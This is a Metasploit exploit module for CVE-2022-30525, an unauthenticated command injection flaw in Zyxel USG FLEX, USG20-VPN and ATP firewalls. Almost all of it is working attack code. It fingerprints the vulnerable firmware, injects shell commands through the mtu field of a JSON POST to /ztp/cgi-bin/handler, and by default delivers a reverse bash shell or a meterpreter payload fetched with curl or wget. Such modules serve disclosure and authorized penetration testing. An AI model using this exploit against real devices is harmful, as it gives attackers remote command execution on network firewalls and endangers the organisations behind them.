Zyxel Firewall ZTP Unauthenticated Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',        'Description' => %q{          This module exploits CVE-2022-30525, an unauthenticated remote          command injection vulnerability affecting Zyxel firewalls with zero          touch provisioning (ZTP) support. By sending a malicious setWanPortSt          command containing an mtu field with a crafted OS command to the          /ztp/cgi-bin/handler page, an attacker can gain remote command execution          as the nobody user.          Affected Zyxel models are:          * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below          * USG20-VPN and USG20W-VPN using firmware 5.21 and below          * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below        },        'License' => MSF_LICENSE,        'Author' => [          'jbaines-r7' # Vulnerability discovery and Metasploit module        ],        'References' => [          [ 'CVE', '2022-30525' ],          [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']        ],        'DisclosureDate' => '2022-04-28',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_MIPS64,],        'Privileged' => false,        'Targets' => [          [            'Shell Dropper',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_MIPS64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'curl', 'wget' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  # Checks the build date that is embedded in the landing page. If it finds a build  # date older than April 20, 2022 then it will additionally check if the model is  # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this  # seems like a reasonable approach.  def check    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))    unless res      return CheckCode::Unknown('The target failed to respond to check.')    end    unless res.code == 200      return CheckCode::Safe('Failed to retrieve /')    end    ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]    if ver.nil?      return CheckCode::Safe('Could not extract a version number')    end    if ver[0..5].to_i < 220420      model = res.get_html_document.xpath('//title').text      if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))        return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")      end    end    CheckCode::Safe("This determination is based on the build date string: #{ver}.")  end  def execute_command(cmd, _opts = {})    handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')    print_status("Sending command to #{handler_uri}")    # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too    # but it's more involved.    http_payload = {      'command' => 'setWanPortSt',      'proto' => 'dhcp',      'port' => Rex::Text.rand_text_numeric(4).to_s,      'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,      'vlanid' => Rex::Text.rand_text_numeric(4).to_s,      'mtu' => ";#{cmd};",      'data' => ''    }    res = send_request_cgi({      'method' => 'POST',      'uri' => handler_uri,      'headers' =>      {        'Content-Type' => 'application/json; charset=utf-8'      },      'data' => http_payload.to_json    })    # Successful exploitation can result in no response (connection being held open by a reverse shell)    # or, if the command executes immediately, a response with a 503.    if res && res.code != 503      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")    end    print_good('Command successfully executed.')  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  endend